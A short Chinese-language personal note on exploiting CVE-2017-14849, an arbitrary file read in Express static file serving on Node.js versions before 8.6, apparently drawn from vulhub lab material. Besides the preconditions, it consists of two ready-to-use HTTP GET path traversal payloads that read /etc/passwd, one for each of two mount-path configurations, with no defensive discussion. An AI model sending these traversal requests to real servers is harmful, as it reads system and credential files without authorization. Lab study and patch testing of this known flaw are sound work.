【笔记】CVE-2017-14849漏洞利用

前言

JS的Express框架任意文件读取漏洞利用

漏洞利用前提

  • Nodejs 8.6之前的版本
  • 使用Express框架
  • 代码中出现express.static()相关代码

payload

  • 如果挂载路径为app.use('/', express.static(path.join(__dirname, 'static'))),则payload如下

/etc/passwd:任意文件

request
1
GET http://127.0.0.1:80/../../../a/../../../../etc/passwd HTTP/1.1
  • 如果挂载路径为app.use('/static', express.static(path.join(__dirname, 'static'))),则payload如下

/etc/passwd:任意文件

request
1
GET http://127.0.0.1:80/static/../../../a/../../../../etc/passwd HTTP/1.1

完成

参考文献

哔哩哔哩——逆风微笑的代码狗
博客园——水泡泡
vulhub/vulhub